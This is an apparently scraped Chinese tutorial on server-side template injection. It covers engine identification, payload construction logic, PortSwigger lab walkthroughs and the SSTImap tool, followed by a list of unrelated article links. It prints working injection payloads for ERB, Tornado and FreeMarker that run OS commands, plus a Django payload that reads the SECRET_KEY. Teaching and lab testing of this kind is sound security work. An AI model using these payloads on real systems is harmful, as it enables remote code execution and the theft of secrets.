当前位置: 首页 > ops >正文

Web攻防-SSTI服务端模版注入利用分类语言引擎数据渲染项目工具挖掘思路

知识点:
1、WEB攻防-SSTI-利用分类&功能点
2、WEB攻防-SSTI-利用项目&挖掘思路
在这里插入图片描述
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
参考:https://www.cnblogs.com/R3col/p/12746485.html
在这里插入图片描述

演示案例-WEB攻防-SSTI-利用分类&语言引擎&工具项目

1、SSTI利用思路

1、确定模板引擎
先判断目标使用什么语言,在对比图片确定大致范围。
使用wappalyzer插件来辅助识别
白盒看pom.xml调用的模板引擎
2、构造payload的思路
寻找可用对象(比如字符串、字典,或者已给出的对象)
通过可用对象寻找原生对象(object)
利用原生对象实例化目标对象(比如os)
执行代码
3、如果手工有困难,可用使用Tqlmap或SSTImap代替

2、黑盒-SSTI测试

靶场地址:https://portswigger.net/web-security/all-labs#server-side-template-injection

ERB模板

在这里插入图片描述

<%= exec 'ls -al' %>

在这里插入图片描述

Tornado模板

在这里插入图片描述
在这里插入图片描述

blog-post-author-display=user.name}}{{7*7}}

在这里插入图片描述
在这里插入图片描述

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

在这里插入图片描述
在这里插入图片描述

Freemarker模板

在这里插入图片描述

<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

在这里插入图片描述

Django模板

{{settings.SECRET_KEY}} //获取key

在这里插入图片描述
在这里插入图片描述

3、白盒挖掘

https://forum.butian.net/share/1229

4、工具项目-SSTImap

https://github.com/vladko312/SSTImap
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://www.xdnf.cn/news/15107.html

相关文章:

  • MCU芯片内部的ECC安全机制
  • OpenCV图像基本操作:读取、显示与保存
  • 《数据库》MySQL备份回复
  • AI加持的开源知识库新秀:PandaWiki,如何用它打造智能化文档系统?
  • 新作品:吃啥好呢 - 个性化美食推荐
  • [面试] 手写题-爬楼梯,斐波那契数列
  • 利用Claude code,只用文字版系统设计大纲,就能轻松实现系统~
  • Kafka——应该选择哪种Kafka?
  • 京东携手HarmonyOS SDK首发家电AR高精摆放功能
  • 【深度学习新浪潮】图像生成有哪些最新进展?
  • 光电耦合器在电冰箱开关电源的应用
  • pandas销售数据分析
  • Cesium实战:交互式多边形绘制与编辑功能完全指南(最终修复版)
  • 前端面试专栏-算法篇:23. 图结构与遍历算法
  • Java(7.11 设计模式学习)
  • python的社区残障人士服务系统
  • Grok 4全面解析:马斯克的多智能体AI如何颠覆技术边界
  • 格式规范公文处理助手:一键排版 标题 / 正文 / 页码一键调,Word 脚本自定义
  • 嵌入式学习笔记--MCU阶段--day03中断
  • 网安系列【16】之Weblogic和jboss漏洞
  • 二层环路避免-STP技术
  • Transformer架构:结构介绍
  • STM32F103C8T6单片机内部执行原理及启动流程详解
  • 使用Tensorflow和CNN进行猫狗图片训练的实战总结
  • 【CF】⭐Day96——2025武汉ICPC(AILF)
  • MyBatis插件机制揭秘:从拦截器开发到分页插件实战
  • 深度学习_全连接神经网络
  • 单片机基础(STM32-DAY2(GPIO))
  • 如何发现 Redis 中的 BigKey?
  • 【计算机网络】HTTP1.0 HTTP1.1 HTTP2.0 QUIC HTTP3 究极总结